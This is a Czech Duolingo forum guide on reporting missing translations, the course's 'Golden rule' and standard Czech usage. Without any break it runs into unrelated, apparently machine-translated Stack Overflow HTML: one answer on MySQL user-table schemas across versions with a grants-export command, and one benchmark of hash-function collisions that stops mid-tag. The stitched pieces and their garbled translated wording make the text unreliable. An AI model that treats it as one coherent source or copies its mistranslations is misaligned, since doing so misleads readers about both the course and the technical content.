Jak správně hlásit chybějící překlady a jak nedělat zbytečné chyby – nejen pro nové uživatele



Jste-li noví, tak vás vítám v kurzu. Pravděpodobně již za sebou máte nějaké to první cvičení a tam se vám mohlo stát, že nebyla uznána odpověď, která podle vás byla zcela v pořádku. A pokud se to nestalo nyní, tak vězte, že se tak dříve nebo později určitě stane. Takže co s tím? Proč to tak je? A jak to spravit?


***KRÁTKÁ VERZE*** - Jste-li si vcelku jistí, že vám měl být překlad uznán, použijte u dané věty prosím tlačitko "Ohlásit problém" a "Moje odpověd měla být uznána" a nepište do diskuze. V aplikaci je tato funkce schovaná pod obrázkem vlaječky. A když už do diskuze píšete, buďte konkrétní - co se stalo a co chcete vědět. Protože nevidíme ani co jste napsali a nevíme dokonce ani typ cvičení, o který se jednalo.


Prosím nehlašte **slovenské** překlady, **nefunkčnost mikorofonu** (se kterou nemáme co udělat) a prosím, **dejte si pozor na PŘEKLEPY.** Hodně hlášení od uživatelů obsahuje překlepy, taková hlášení jsou pak bezcenná, jenom zabírají čas. **Před odesláním hlášení si tedy, prosím, svou odpověd nejprve zkontrolujte.** Píšete-li v "Ohlásit problém" něco do textové kolonky, tak mějte na paměti, že nevidíme, jakou jste měli odpověd - musíte tam tedy zmínit CO a JAK má být přidáno/změněno. 


Dále si dejte pozor na spisovnou češtinu a občasnou doslovnost překladů, kteréžto kurz vyžaduje, proč viz dlouhá verze. Přeji vám tedy hodně zábavy a úspěchů nejenom tady na DuoLingu a budeme rádi, když nám pomůžete a budete pomáhat dalším uživatelům tím, že **budete odpovídat na dotazy** u vět. Buď přímo ve cvičeních anebo po kliknutí na Diskuse **v [sekci Věty](https://www.duolingo.com/topic/906/sent)**, kde se objevují nové dotazy z celého kurzu.


***DLOUHÁ VERZE, ČÁST PRVNÍ*** – **Jak hlásit chyby, aneb Tlačítko „Ohlásit problém“ vs. psaní do diskuze**


Nejprve je třeba vysvětlit, proč vůbec nějaké odpovědi chybí: Je to proto, že **každá anglická věta** byla dobrovolníky **v jejich volném čase** napřekládána do češtiny a pak naopak. A protože jsme jen lidé a čeština je neuvěřitelně ohebný jazyk, tak některé regulérní alternativní překlady prostě chybí/doted nikoho jiného nenapadly. Proto je po odeslání u každé odpovědi tlačítko **„Ohlásit problém“** a jsou zde tvůrci-dobrovolníci, kteří vámi nahlášené varianty zpracovávají. Tímto způsobem společně vylepšujeme kurz pro budoucí generace (ti, kteří tu byli v řijnu/listopadu 2014, když kurz začínal, zajisté potvrdí, jaký pokrok za tu dobu zažil).


Následují tedy fakta a tipy, jak my všichni můžeme usnadnit práci tvůrcům tohoto úžasného bezplatného kurzu a v druhé části pak i jak se vyvarovat některých klasických chyb při procvičování tady na DuoLingu.


**"Moje odpověď měla být uznána"**


Pro hlášení pouze přes tuto možnost doporučujeme **Pravidlo 80%** - jste-li si na 80% jistí, že vámi uvedená odpověd je v pořádku, tak pouze nahlašte a jděte dál. Nejste-li si jistí, tak napište do diskuze a FORMULUJTE SVOU OTÁZKU JAKO DOTAZ a buďte KONKRÉTNÍ v tom na co se ptáte/co chcete vědět. Dotazy na gramatiku a nuance mezi významy slov vítáme, ty do diskuze patří. Vyzní-li ovšem vaše zpráva jenom jako hlášení alternativní odpovědi, tak vám dost pravděpodobně akorát přistane odpověd stylu: „Ano, nahlaš prosím tlačítkem“.


I zde zopakuji, že tato funkce je dostupná i ve cvičení v aplikaci a to přes obrázek vlaječky.


Jak stojí v Krátké verzi - výrazy ve slovenštině nebudou uznány a než kliknete na „Ohlásit problém“ a odešlete hlášení, tak se prosím ujistěte, že jste neudělali nějakou chybu jako „I mám kočku“ nebo překlep „Já mám hrad“ místo „Já mám hlad.“ Před odesláním se tedy opravdu prosím **zamyslete, zda vám náhodou věta nebyla neuznána oprávněně!** Ušetříte tím práci a čas tvůrcům, kteří ho pak můžou strávit jinde. Děkujeme.


**"Audio nezní správně"**


Při označení této kolonky je možné, že audio bude zablokováno pro typ cvičení „Napiš co slyšíš“. Akorát vám zde, na rozdíl od možnosti výše, nedojde žádný potvrzující email. Audio není možné přemluvit ani úplně zakázat, takže špatná audia se u ostatních typů cvičení budou přehrávat i nadále.


**Textová kolonka**


Od května 2015 funguje. Sem směřujte tedy většinu hlášení, u kterých "Má odpověd měla být uznána" nestačí. Opět platí - buďte prosím konkrétní a napište přesně CO a JAK by mělo být změněno - tvůrci **nevidí,** co jste napsali, tudíž to musíte napsat do vašeho hlášení. Vzkaz "To je jenom překlep, uznejte to" tedy nestačí.


Sem směřujte hlášení **překlepů ve větách** jako They like = Mají rádi/rády/ráda; mě vs. mne; ačkoli vs. ačkoliv atd. Některé takovéto výrazy mohou mezi uznávanými odpovědmi chybět, ale budou vám uznány jako překlep - pak nejde použít "Má odpověd měla být uznána." 


A přes textovou kolonku nebo i otevření diskuze se dá řešit i hlášení typu **"Anglická/Česká věta se zdá nepřirozená."** Zde jsme otevřeni návrhům k vylepšení, ale prosím, hlásit i s návrhem lepšího překladu (stěžovat si umí každý). Ještě objasním mechanismus, který je důležitý při hlášení nepřirozenosti: Zdrojem je anglická věta, ta byla dodána DuoLingem a nedá se změnit, maximálně smazat. Ovšem hlavní český překlad k této větě změnit jde a tak spíš sledujte či česká věta odpovídá anglickému originálu než naopak.


**DuoLingo má "slabší chvilku"**


Tento bod je reakce na desítky různých hlášení, kde někdo říká: "Proč mi to nevzalo překlad xy?" A naše odpověd je - "Podívejte se na nadpis této diskuze, tam je přesně tato věta, to tedy znamená, že to je nastaveno jako hlavní překlad."


DuoLingo je bohužel známé i svou *nestabilitou, obzvláště v aplikaci*, viz níže. Zdá se tedy, že občas systém není schopen najít odpověd, kterou přitom má mezi uznávanými variantami. Pokud se vám toto stane, tak poprosíme o printscreen - bez něj s tím nic nenaděláme.


Jak to poznáte? Dvě možnosti: 1) Když u věty rozkliknete diskuzi, tak tam nahoře vidíte hlavní překlad. Je-li stejný jako váš neuznaný překlad, tak poprosíme o printscreen a jeho přiložení do diskuze. Nebo 2) Rozkliknete diskuzi a vidíte tam dotaz, proč to neuznává překlad xy a k němu je komentář od někoho z překladatelů, že tento překlad je přijímaný už nejméně x měsíců (nebo komentář ve stylu "Děkuji, přidal jsem to tam"). Pak vás opět poprosíme o nahlášení do diskuze s přiloženým printscreenem.


Něco na toto téma včetně vysvětlení AB testů je popsáno [zde](https://www.duolingo.com/comment/18932785)


**Mikrofonová cvičení - rozpoznání mluveného slova**


Rozpoznání mikrofonu je bohužel na některých přístrojích špatné. Zjistíte-li, že vám mikrofon nefunguje ideálně - buď spoustu správných věcí zamítá, nebo naopak uznává něco jiného, než co jste řekli (napíše to: "Slyšeli jsme: *Jiná věta než co jste skutečně řekli*"), tak **v tom případě neváhejte a mikrofon v nastavení vypněte**. Velká část dlouhodobých uživatelů DuoLinga to dříve nebo později udělá.


A ne, my s tím opravdu nic nemůžeme udělat, jsme jenom překladatelé, ne provozovatelé, takže ještě jednou - nefunkčnost mikrofonu prosím nehlašte ani do diskuzí, ani do "Ohlásit problém".


**DuoLingo Aplikace**


Popravdě za sebe doporučím aplikaci spíš nepoužívat - je výrazně nestabilnější než webová verze (k většině chyb popsaných v bodu *DuoLingo má slabší chvilku* dochází pouze v aplikaci), navíc neobsahuje gramatická vysvětlení ani nemá přístup do diskuzí kromě diskuzí u vět. Používejte tedy jenom na vlastní nebezpečí a zvažte, zda nebude lepší, když už DuoLingo používat na mobilu, tak spíš přes prohlížeč.


****


***ČÁST DRUHÁ*** – **Co má možnost být přijaté aneb „Golden rule“**


Nyní co nepsat, abyste si ušetřili chyby a autorům zbytečná hlášení. Nejdříve opět něco k tomu, jak to celé funguje: K průměrné delší anglické větě v pozdější části kurzu existuje často cca. 100 českých přijatých překladů a existují věty (např. v sekci Podmínkové věty), kde je i 1000+ českých překladů k jedné větě. Toto číslo je obrovské a popravdě mnohem větší než v některých jiných jazykových kurzech (např Aj <-> Špan). Proto se nemůžete tvůrcům divit, že přijímají překlady jen na základě **Golden rule.**


To říká: Existuje-li v obou jazycích zcela odpovídající překlad/jazyková konstrukce, která se používá a zní přirozeně, pak *není důvod uznávat překlady* ***významově podobné.***


Pár příkladů, co to znamená v praxi:


* „The coat is mine“ = „(Ten) Kabát je můj.“ Český překlad „To je můj kabát“ je podle Golden rule špatně, protože pro tuto větu existuje anglický protiklad „It is my coat.“
* „The house has a yellow color“ = „Dům má žlutou barvu.“ Česky neuznáme „je žlutý“, protože tomu by odpovídal anglický originál: „is yellow.“
* „Táta“ = „Dad“. „Father“ bude vyhodnocen jako špatně, protože tomu odpovídá formálnější výraz „otec.“ To samé platí pro „matku“ a „děkuji vs. díky.“ Všechno to jsou základní slova a tak není od věci začátečníkům zdůraznit, že mezi nimi je rozdíl a nejsou 100% zaměnitelné. Stejně tak tomu bude jednoho dne v opačném kurzu - češtiny pro anglicky mluvící.
* „They are not happy“ = „(Oni) Nejsou šťastní.“ Zato „Jsou nešťastní“ nejde, protože to má anglický protějšek „They are unhappy.“ Tedy nepřesouvat zápor z jednoho slova na druhé, není-li k tomu nějaký důvod.


Ve volném překladu byste to podle kontextu mohli třeba i přeložit naopak. V tom případě vás můžu odkázat na sekci „Immersion“: [www.duolingo.com/translations/en/cs](https://www.duolingo.com/translations/en/cs) (EDIT 05/15: Momentálně není Immersion dostupná z českého kurzu. Přesto je česká Immersion stále aktivní a dá se do ní dostat přes nějaký cizí jazyk, [více v této diskuzi](https://www.duolingo.com/comment/8531409)). V Immersion překládáte anglické články do češtiny a opravovat vás budou jen další uživatelé. V samotném kurzu ovšem platí (a bude i nadále platit) Golden rule. Někdy je to na hraně, tudíž i na toto se klidně dá v diskuzi zeptat. V důsledku jde ale o to, že když by se začaly uznávat příliš volné překlady, tak by příliš narostl počet možných překladů. Poprosíme tedy o pochopení, Golden rule je zkrátka nejlepší možné řešení.


**Další časté chyby:** 


* „This“ = „Tento, tato, toto“ a všechny k tomu náležící tvary. Je významový rozdíl mezi „Ten kluk ji požádal o ruku“ a „Tento kluk ji požádal o ruku.“ (Či v angličtině „The/That boy vs. This boy“). Myslete na to a ušetříte si pěkných pár červených překladů.
* Fráze „There is“ neznamená „Tam je.“ Věta „There are five chairs“ znamená „Existuje/je pět židlí“ a je to spíš útržek věty. Pravděpodobnější použití v hovoru by bylo: „There are five chairs in the kitchen“, což je „V kuchyni je pět židlí.“


**Spisovná čeština** – pozor na to, kurz uznává jen spisovné výrazy, čerpáme prakticky výhradně z [Internetové jazykové příručky](http://prirucka.ujc.cas.cz/) Ústavu pro jazyk český. Berte to jako bonus, že vám tím DuoLingo občas připomene, že něco říkáte česky ne úplně správně. Typické chyby jsou:


* Správně: Oni jedí (nikoliv „oni jí“). Stejně tak "oni vědí"
* [Pozor na hyperkorektnost](http://www.nabla.cz/obsah/cestina/clanky/jsi-ses-sis-bys-bychom-byste.php); "ty jseš" není spisovně.


**Toto není a nebude kurz slovenštiny**


Množství možných překladů je obrovské a absolutně tedy nemůžete po tvůrcích chtít, aby tento počet zdvojnásobili slovenskými překlady (nehledě na to, že jsou to Češi a nevládnou slovenskou gramatikou). Třeba se někdy někdo jednoho dne rozhodne přeložit všechny tisíce zde přítomných vět i do slovenštiny a vytvoří tím slovenský strom (slyšel jsem odhad, že kurz má 20 000 vět). Možná by k tomu teoreticky mohl i použít tento český kurs, až bude "hotový". Jestli tu tedy takový dobrovolník je, tak je možnost poslat oficiální žádost DuoLingu přes Inkubátor.


****


***ČÁST TŘETÍ*** – **Jak můžu pomoct?**


Líbí-li se vám tady na DuoLingu a chcete nám pomáhat i jinak, než jenom zasíláním hlášeních o chybách? V tom případě mám pro vás pár tipů:


**Odpovídejte na dotazy dalších uživatelů v diskuzích** - v diskuzi Angličtina (v češtině) je sekce nadepsaná Věty, [odkaz zde](https://www.duolingo.com/topic/906/sent), kde se zobrazují nové dotazy u vět. Oceníme, když tam budete odpovídat na dotazy ostatních uživatelů (znáte-li samozřejmě sami odpověd). A nebo rozklikávejte diskuze přímo u vět a odpovídejte tam v průběhu procvičování.


**Hlašte nám, když u věty narazíte na nevhodné komentáře** - snažíme se držet diskuze u vět čisté - aby tam byly pouze věci k tématu. Nepatří tam vyjádřování emocí ("Jejda, tak totok sem nevěděl...") či jakékoliv urážlivé poznámky. V tomto případě prosím: Napište v dané diskuzi komentář (klidně akorát "sdgqw") a po skončení cvičení najeďte na svůj profil a tam se pak můžete prokliknout zpátky do této diskuze. Okopírujte odkaz na tu diskuzi a pošlete mi ho
na můj profil s krátkým komentářem.


****


Nuže to by bylo komplexní až vyčerpávající shrnutí toho, jak v současnou chvíli kurz funguje. Děkujeme za všechny vaše hlášení chyb, jen díky nim se kurz nyní už začíná přibližovat použitelnému stavu. Za tým tvůrců přeji mnoho příjemných chvil strávených při učení.
**Ty jsi se učil. Ty jsi si pamatoval.** Tohle ve skutečnosti nespisovně hyperkorektní tvary nejsou, alespoň podle [tohoto článku ÚJČ](http://nase-rec.ujc.cas.cz/archiv.php?art=7171): 


*Jak je patrno, jako nesprávné se neoznačují podoby ty jsi se, ty jsi si, nýbrž tys se, tys si.*
<p>ach bože, myslím, že problém pramení ze smíchání schématu mysql různých verzí mysql. nejprve spusťte tento dotaz:</p><pre><code>desc mysql.user; </code></pre><p>pro mysql 5.6 získáte 43 sloupců</p><pre><code>mysql&gt; desc mysql.user; +++++++ | field | type | null | key | default | extra | +++++++ | host | char(60) | no | pri | | | | user | char(16) | no | pri | | | | password | char(41) | no | | | | | select\_priv | enum('n','y') | no | | n | | | insert\_priv | enum('n','y') | no | | n | | | update\_priv | enum('n','y') | no | | n | | | delete\_priv | enum('n','y') | no | | n | | | create\_priv | enum('n','y') | no | | n | | | drop\_priv | enum('n','y') | no | | n | | | reload\_priv | enum('n','y') | no | | n | | | shutdown\_priv | enum('n','y') | no | | n | | | process\_priv | enum('n','y') | no | | n | | | file\_priv | enum('n','y') | no | | n | | | grant\_priv | enum('n','y') | no | | n | | | references\_priv | enum('n','y') | no | | n | | | index\_priv | enum('n','y') | no | | n | | | alter\_priv | enum('n','y') | no | | n | | | show\_db\_priv | enum('n','y') | no | | n | | | super\_priv | enum('n','y') | no | | n | | | create\_tmp\_table\_priv | enum('n','y') | no | | n | | | lock\_tables\_priv | enum('n','y') | no | | n | | | execute\_priv | enum('n','y') | no | | n | | | repl\_slave\_priv | enum('n','y') | no | | n | | | repl\_client\_priv | enum('n','y') | no | | n | | | create\_view\_priv | enum('n','y') | no | | n | | | show\_view\_priv | enum('n','y') | no | | n | | | create\_routine\_priv | enum('n','y') | no | | n | | | alter\_routine\_priv | enum('n','y') | no | | n | | | create\_user\_priv | enum('n','y') | no | | n | | | event\_priv | enum('n','y') | no | | n | | | trigger\_priv | enum('n','y') | no | | n | | | create\_tablespace\_priv | enum('n','y') | no | | n | | | ssl\_type | enum('','any','x509','specified') | no | | | | | ssl\_cipher | blob | no | | null | | | x509\_issuer | blob | no | | null | | | x509\_subject | blob | no | | null | | | max\_questions | int(11) unsigned | no | | 0 | | | max\_updates | int(11) unsigned | no | | 0 | | | max\_connections | int(11) unsigned | no | | 0 | | | max\_user\_connections | int(11) unsigned | no | | 0 | | | plugin | char(64) | yes | | | | | authentication\_string | text | yes | | null | | | password\_expired | enum('n','y') | no | | n | | +++++++ 43 rows in set (0.15 sec) </code></pre><p>pro mysql 5.5 získáte 42 sloupců</p><pre><code>mysql&gt; desc mysql.user; +++++++ | field | type | null | key | default | extra | +++++++ | host | char(60) | no | pri | | | | user | char(16) | no | pri | | | | password | char(41) | no | | | | | select\_priv | enum('n','y') | no | | n | | | insert\_priv | enum('n','y') | no | | n | | | update\_priv | enum('n','y') | no | | n | | | delete\_priv | enum('n','y') | no | | n | | | create\_priv | enum('n','y') | no | | n | | | drop\_priv | enum('n','y') | no | | n | | | reload\_priv | enum('n','y') | no | | n | | | shutdown\_priv | enum('n','y') | no | | n | | | process\_priv | enum('n','y') | no | | n | | | file\_priv | enum('n','y') | no | | n | | | grant\_priv | enum('n','y') | no | | n | | | references\_priv | enum('n','y') | no | | n | | | index\_priv | enum('n','y') | no | | n | | | alter\_priv | enum('n','y') | no | | n | | | show\_db\_priv | enum('n','y') | no | | n | | | super\_priv | enum('n','y') | no | | n | | | create\_tmp\_table\_priv | enum('n','y') | no | | n | | | lock\_tables\_priv | enum('n','y') | no | | n | | | execute\_priv | enum('n','y') | no | | n | | | repl\_slave\_priv | enum('n','y') | no | | n | | | repl\_client\_priv | enum('n','y') | no | | n | | | create\_view\_priv | enum('n','y') | no | | n | | | show\_view\_priv | enum('n','y') | no | | n | | | create\_routine\_priv | enum('n','y') | no | | n | | | alter\_routine\_priv | enum('n','y') | no | | n | | | create\_user\_priv | enum('n','y') | no | | n | | | event\_priv | enum('n','y') | no | | n | | | trigger\_priv | enum('n','y') | no | | n | | | create\_tablespace\_priv | enum('n','y') | no | | n | | | ssl\_type | enum('','any','x509','specified') | no | | | | | ssl\_cipher | blob | no | | null | | | x509\_issuer | blob | no | | null | | | x509\_subject | blob | no | | null | | | max\_questions | int(11) unsigned | no | | 0 | | | max\_updates | int(11) unsigned | no | | 0 | | | max\_connections | int(11) unsigned | no | | 0 | | | max\_user\_connections | int(11) unsigned | no | | 0 | | | plugin | char(64) | yes | | | | | authentication\_string | text | yes | | null | | +++++++ 42 rows in set (0.01 sec) mysql&gt; </code></pre><p>pro mysql 5.1 získáte 39 sloupců</p><pre><code>mysql&gt; desc mysql.user; +++++++ | field | type | null | key | default | extra | +++++++ | host | char(60) | no | pri | | | | user | char(16) | no | pri | | | | password | char(41) | no | | | | | select\_priv | enum('n','y') | no | | n | | | insert\_priv | enum('n','y') | no | | n | | | update\_priv | enum('n','y') | no | | n | | | delete\_priv | enum('n','y') | no | | n | | | create\_priv | enum('n','y') | no | | n | | | drop\_priv | enum('n','y') | no | | n | | | reload\_priv | enum('n','y') | no | | n | | | shutdown\_priv | enum('n','y') | no | | n | | | process\_priv | enum('n','y') | no | | n | | | file\_priv | enum('n','y') | no | | n | | | grant\_priv | enum('n','y') | no | | n | | | references\_priv | enum('n','y') | no | | n | | | index\_priv | enum('n','y') | no | | n | | | alter\_priv | enum('n','y') | no | | n | | | show\_db\_priv | enum('n','y') | no | | n | | | super\_priv | enum('n','y') | no | | n | | | create\_tmp\_table\_priv | enum('n','y') | no | | n | | | lock\_tables\_priv | enum('n','y') | no | | n | | | execute\_priv | enum('n','y') | no | | n | | | repl\_slave\_priv | enum('n','y') | no | | n | | | repl\_client\_priv | enum('n','y') | no | | n | | | create\_view\_priv | enum('n','y') | no | | n | | | show\_view\_priv | enum('n','y') | no | | n | | | create\_routine\_priv | enum('n','y') | no | | n | | | alter\_routine\_priv | enum('n','y') | no | | n | | | create\_user\_priv | enum('n','y') | no | | n | | | event\_priv | enum('n','y') | no | | n | | | trigger\_priv | enum('n','y') | no | | n | | | ssl\_type | enum('','any','x509','specified') | no | | | | | ssl\_cipher | blob | no | | null | | | x509\_issuer | blob | no | | null | | | x509\_subject | blob | no | | null | | | max\_questions | int(11) unsigned | no | | 0 | | | max\_updates | int(11) unsigned | no | | 0 | | | max\_connections | int(11) unsigned | no | | 0 | | | max\_user\_connections | int(11) unsigned | no | | 0 | | +++++++ 39 rows in set (0.00 sec) mysql&gt; </code></pre><p>pro mysql 5.0 získáte 37 sloupců</p><pre><code>mysql&gt; desc mysql.user; +++++++ | field | type | null | key | default | extra | +++++++ | host | char(60) | no | pri | | | | user | char(16) | no | pri | | | | password | char(41) | no | | | | | select\_priv | enum('n','y') | no | | n | | | insert\_priv | enum('n','y') | no | | n | | | update\_priv | enum('n','y') | no | | n | | | delete\_priv | enum('n','y') | no | | n | | | create\_priv | enum('n','y') | no | | n | | | drop\_priv | enum('n','y') | no | | n | | | reload\_priv | enum('n','y') | no | | n | | | shutdown\_priv | enum('n','y') | no | | n | | | process\_priv | enum('n','y') | no | | n | | | file\_priv | enum('n','y') | no | | n | | | grant\_priv | enum('n','y') | no | | n | | | references\_priv | enum('n','y') | no | | n | | | index\_priv | enum('n','y') | no | | n | | | alter\_priv | enum('n','y') | no | | n | | | show\_db\_priv | enum('n','y') | no | | n | | | super\_priv | enum('n','y') | no | | n | | | create\_tmp\_table\_priv | enum('n','y') | no | | n | | | lock\_tables\_priv | enum('n','y') | no | | n | | | execute\_priv | enum('n','y') | no | | n | | | repl\_slave\_priv | enum('n','y') | no | | n | | | repl\_client\_priv | enum('n','y') | no | | n | | | create\_view\_priv | enum('n','y') | no | | n | | | show\_view\_priv | enum('n','y') | no | | n | | | create\_routine\_priv | enum('n','y') | no | | n | | | alter\_routine\_priv | enum('n','y') | no | | n | | | create\_user\_priv | enum('n','y') | no | | n | | | ssl\_type | enum('','any','x509','specified') | no | | | | | ssl\_cipher | blob | no | | null | | | x509\_issuer | blob | no | | null | | | x509\_subject | blob | no | | null | | | max\_questions | int(11) unsigned | no | | 0 | | | max\_updates | int(11) unsigned | no | | 0 | | | max\_connections | int(11) unsigned | no | | 0 | | | max\_user\_connections | int(11) unsigned | no | | 0 | | +++++++ 37 rows in set (0.01 sec) mysql&gt; </code></pre><p>pro mysql 4.x získáte 31 sloupců</p><pre><code>mysql&gt; desc mysql.user; +++++++ | field | type | null | key | default | extra | +++++++ | host | varchar(60) binary | | pri | | | | user | varchar(16) binary | | pri | | | | password | varchar(16) binary | | | | | | select\_priv | enum('n','y') | | | n | | | insert\_priv | enum('n','y') | | | n | | | update\_priv | enum('n','y') | | | n | | | delete\_priv | enum('n','y') | | | n | | | create\_priv | enum('n','y') | | | n | | | drop\_priv | enum('n','y') | | | n | | | reload\_priv | enum('n','y') | | | n | | | shutdown\_priv | enum('n','y') | | | n | | | process\_priv | enum('n','y') | | | n | | | file\_priv | enum('n','y') | | | n | | | grant\_priv | enum('n','y') | | | n | | | references\_priv | enum('n','y') | | | n | | | index\_priv | enum('n','y') | | | n | | | alter\_priv | enum('n','y') | | | n | | | show\_db\_priv | enum('n','y') | | | n | | | super\_priv | enum('n','y') | | | n | | | create\_tmp\_table\_priv | enum('n','y') | | | n | | | lock\_tables\_priv | enum('n','y') | | | n | | | execute\_priv | enum('n','y') | | | n | | | repl\_slave\_priv | enum('n','y') | | | n | | | repl\_client\_priv | enum('n','y') | | | n | | | ssl\_type | enum('','any','x509','specified') | | | | | | ssl\_cipher | blob | | | | | | x509\_issuer | blob | | | | | | x509\_subject | blob | | | | | | max\_questions | int(11) unsigned | | | 0 | | | max\_updates | int(11) unsigned | | | 0 | | | max\_connections | int(11) unsigned | | | 0 | | +++++++ 31 rows in set (0.01 sec) </code></pre><p>představte si tento scénář:</p><ul> <li>nainstalujete 5.0</li> <li>odinstalujete 5.0</li> <li>zapomněli jste se přesunout/var/lib/mysql z cesty</li> <li>nainstalujete 5.1</li> </ul><p>uživatelská oprávnění se začnou posouvat. kdykoli spustíte <code>show grants;</code>, je obtížné očekávat sloupce na specifických místech v mysql.user (vzhledem k tomu, že mysql.user je myisam a jeho row\_format je dynamic (výchozí)). je velmi snadné vidět, jak uživatel náhle ztratí oprávnění, když znovu načtete verzi mysql 5.0 mysql.user do instance mysql 5.1.</p><p>v budoucnu, pokud byste se někdy rozhodli znovu načíst uživatele do mysql, zkuste uživatele výpisem do textového souboru pomocí <a href="http://www.percona.com/doc/percona-toolkit/2.0/pt-show-grants.html"><strong> pt-show-grantů </strong></a> spíše než mysqldump.</p><p>vlastně jsem psal svou vlastní verzi pt-show-grantů takto:</p><pre><code>mysql -hhostaddr -umyuserid -pmypassword --skip-column-names -a -e"select concat('show grants for ''',user,'''@''',host,''';') from mysql.user where user&lt;&gt;''" | mysql -hhostaddr -umyuserid -pmypassword --skip-column-names -a | sed 's/$/;/g' &gt; mysqlusergrants.sql </code></pre><p>tím vzniknou všechny uživatelské granty jako sql, což je mnohem přenosnější než standardní techniky mysql. jednoduše znovu načtěte skript sql a provedou se granty. samozřejmě, že takové překládky jsou kompatibilní pouze dopředu, nikdy zpět.</p> <p>testoval jsem několik různých algoritmů, měření rychlosti a počtu kolizí.</p><p>použil jsem tři různé sady klíčů:</p><ul> <li> <a href="http://www.sitopreferito.it/html/all\_english\_words.html">seznam 216 553 anglických slov</a> <sup> <a href="https://web.archive.org/web/20061231134037/http://www.sitopreferito.it/html/all\_english\_words.html">???? archiv</a> </sup>(malými písmeny)</li> <li>čísla <code>"1"</code> to <code>"216553"</code> (přemýšlejte o kódech zip a <a href="https://web.archive.org/web/20190119000003/https://blogs.msdn.microsoft.com/ericlippert/2003/09/19/arrrrr-capn-eric-be-learnin-about-threadin-the-harrrrd-way/">jak špatný hash stáhl msn.com</a> <sup> <a href="https://archive.ph/m7h87">???? archiv</a> </sup>)</li> <li>216 553 „náhodných“ (tj. <a href="http://www.ietf.org/rfc/rfc4122.txt">id typu 4</a> ) guid</li> </ul><p>pro každý korpus byl zaznamenán počet srážek a průměrná doba strávená hashováním.</p><p>testoval jsem:</p><ul> <li> <a href="http://www.cse.yorku.ca/~oz/hash.html">djb2</a> </li> <li> <a href="http://www.cse.yorku.ca/~oz/hash.html">djb2a</a> (varianta používající <code>xor</code> spíše než <code>+</code>)</li> <li> <a href="http://en.wikipedia.org/wiki/fowler%e2%80%93noll%e2%80%93vo\_hash\_function">fnv-1</a> (32-bit)</li> <li> <a href="http://en.wikipedia.org/wiki/fowler%e2%80%93noll%e2%80%93vo\_hash\_function">fnv-1a</a> (32-bit)</li> <li> <a href="http://www.cse.yorku.ca/~oz/hash.html"> sdbm </a> </li> <li>crc32</li> <li> <a href="http://en.wikipedia.org/wiki/murmurhash">murmur2</a> (32-bit)</li> <li> <a href="http://landman-code.blogspot.ca/2008/06/superfasthash-from-paul-hsieh.html">superfasthash</a> </li> </ul><h2>výsledek</h2><p>každý výsledek obsahuje průměrnou dobu hash a počet srážek</p><pre><code>hash lowercase random uuid numbers     murmur 145 ns 259 ns 92 ns 6 collis 5 collis 0 collis fnv-1a 152 ns 504 ns 86 ns 4 collis 4 collis 0 collis fnv-1 184 ns 730 ns 92 ns 1 collis 5 collis 0 collis▪ dbj2a 158 ns 443 ns 91 ns 5 collis 6 collis 0 collis▪▪▪ djb2 156 ns 437 ns 93 ns 7 collis 6 collis 0 collis▪▪▪ sdbm 148 ns 484 ns 90 ns 4 collis 6 collis 0 collis** superfasthash 164 ns 344 ns 118 ns 85 collis 4 collis 18742 collis crc32 250 ns 946 ns 130 ns 2 collis 0 collis 0 collis loselose 338 ns - - 215178 collis </code></pre><p><strong> poznámky </strong>:</p><ul> <li> <a href="http://www.cse.yorku.ca/~oz/hash.html">loselose algoritmus</a> (kde hash = hash + character) je skutečně <strong> <em> hrozné </em> </strong>. všechno se srazí do stejných 1375 kbelíků</li> <li>superfasthash je rychlý a věci vypadají docela rozptýleny; podle mého dobrota srážky <em> číslo </em>. doufám, že <a href="http://landman-code.blogspot.ca/2008/06/superfasthash-from-paul-hsieh.html">ten, kdo to přenesl, má něco špatného; je to docela špatné</a> </li> <li>crc32 je <em> celkem dobrá </em>. pomalejší a 1k tabulka vyhledávání</li> </ul><h2>dochází ke kolizím?</h2><p>ano. začal jsem psát svůj testovací program, abych zjistil, zda ke kolizím hashů <em> skutečně </em> došlo - a nejde jen o teoretický konstrukt. stávají se skutečně:</p><p><strong> fnv-1 srážky </strong></p><ul> <li><code>creamwove</code> srazí s <code>quists</code></li> </ul><p><strong> srážky fnv-1a </strong></p><ul> <li><code>costarring</code> srazí s <code>liquid</code></li> <li><code>declinate</code> srazí s <code>macallums</code></li> <li><code>altarage</code> srazí s <code>zinke</code></li> <li><code>altarages</code> srazí s <code>zinkes</code></li> </ul><p><strong> kolize murmur2 </strong></p><ul> <li><code>cataract</code> srazí s <code>periti</code></li> <li><code>roquette</code> srazí s <code>skivie</code></li> <li><code>shawl</code> srazí s <code>stormbound</code></li> <li><code>dowlases</code> srazí s <code>tramontane</code></li> <li><code>cricketings</code> srazí s <code>twanger</code></li> <li><code>longans</code> srazí s <code>whigs</code></li> </ul><p><strong> srážky djb2 </strong></p><ul> <li><code>hetairas</code> srazí s <code>mentioner</code></li> <li><code>heliotropes</code> srazí s <code>neurospora</code></li> <li><code>depravement</code> srazí s <code>serafins</code></li> <li><code>stylist</code> srazí s <code>subgenera</code></li> <li><code>joyful</code> srazí s <code>synaphea</code></li> <li><code>redescribed</code> srazí s <code>urites</code></li> <li><code>dram</code> srazí s <code>vivency</code></li> </ul><p><strong> srážky djb2a </strong></p><ul> <li><code>haggadot</code> srazí s <code>loathsomenesses</code></li> <li><code>adorablenesses</code> srazí s <code>rentability</code></li> <li><code>playwright</code> srazí s <code>snush</code></li> <li><code>playwrighting</code> srazí s <code>snushing</code></li> <li><code>treponematoses</code> srazí s <code>waterbeds</code></li> </ul><p><strong> kolize crc32 </strong></p><ul> <li><code>codding</code> srazí s <code>gnu</code></li> <li><code>exhibiters</code> srazí s <code>schlager</code></li> </ul><p><strong> kolize superfasthash </strong></p><ul> <li><code>dahabiah</code> srazí s <code>drapability</code></li> <li><code>encharm</code> srazí s <code>enclave</code></li> <li><code>grahams</code> srazí s <code>gramary</code></li> <li>... odstřihněte 79 kolizí ...</li> <li><code>night</code> srazí s <code>vigil</code></li> <li><code>nights</code> srazí s <code>vigils</code></li> <li><code>finks</code> srazí s <code>vinic</code></li> </ul><h2>náhodnost</h2><p>dalším subjektivním měřítkem je, jak náhodně jsou hash rozděleny. mapování výsledných tabulek ukazuje, jak rovnoměrně jsou data distribuována. všechny hašovací funkce vykazují dobré rozdělení při lineárním mapování tabulky:</p><p><img src="https://i.stack.imgur.com/bmysu.png" alt="enter image description here"></p><p>nebo jako <a href="http://en.wikipedia.org/wiki/hilbert\_curve"><em> hilbertova mapa </em></a> ( <a href="http://xkcd.com/195/">xkcd je vždy relevantní</a> ):</p><p><img 